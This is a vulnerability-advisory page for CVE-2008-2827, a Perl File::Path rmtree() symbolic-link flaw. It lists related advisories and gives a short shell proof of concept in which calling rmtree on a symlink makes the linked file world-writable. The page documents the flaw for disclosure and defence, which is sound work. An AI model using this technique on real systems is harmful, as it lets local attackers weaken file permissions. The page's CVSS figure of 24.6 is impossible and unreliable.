Perl - 'rmtree()' Function Local Insecure Permissions
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
 | CVE-2008-2827 | 23 Jun 200819:41 | – | attackerkb |
 | Rocky Linux 9.2 [CIQ] Security Update: perl / perl-Attribute-Handlers / perl-AutoLoader / perl-AutoSplit / etc Multiple Vulnerabilities (ciqsa-2026_1588) | 6 Oct 202600:00 | – | nessus |
| Fedora 9 : perl-5.10.0-27.fc9 (2008-5739) | 2 Jul 200800:00 | – | nessus |
| Mandriva Linux Security Advisory : perl (MDVSA-2008:165) | 23 Apr 200900:00 | – | nessus |
| MiracleLinux 3 : perl-5.8.8-32.1.0.1.AXS3 (AXSA:2010-362:02) | 14 Jan 202600:00 | – | nessus |
| NewStart CGSL MAIN 6.06 : perl Multiple Vulnerabilities (NS-SA-2025-0211) | 30 Sep 202500:00 | – | nessus |
| NewStart CGSL MAIN 6.06 (SP) : perl Multiple Vulnerabilities (NS-SA-2026-0016) | 6 Mar 202600:00 | – | nessus |
| openSUSE Security Update : perl (perl-101) | 21 Jul 200900:00 | – | nessus |
 | CVE-2008-2827 | 23 Jun 200800:00 | – | circl |
 | CVE-2008-2827 | 23 Jun 200819:00 | – | cve |
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source: https://www.securityfocus.com/bid/29902/info
Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.
Attackers can leverage this issue to change the permissions of arbitrary files.
Perl 5.10.0 is vulnerable; other versions may also be affected.
% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 fooData
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27 Feb 2014 00:00Current
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CVSS 24.6
EPSS0.00843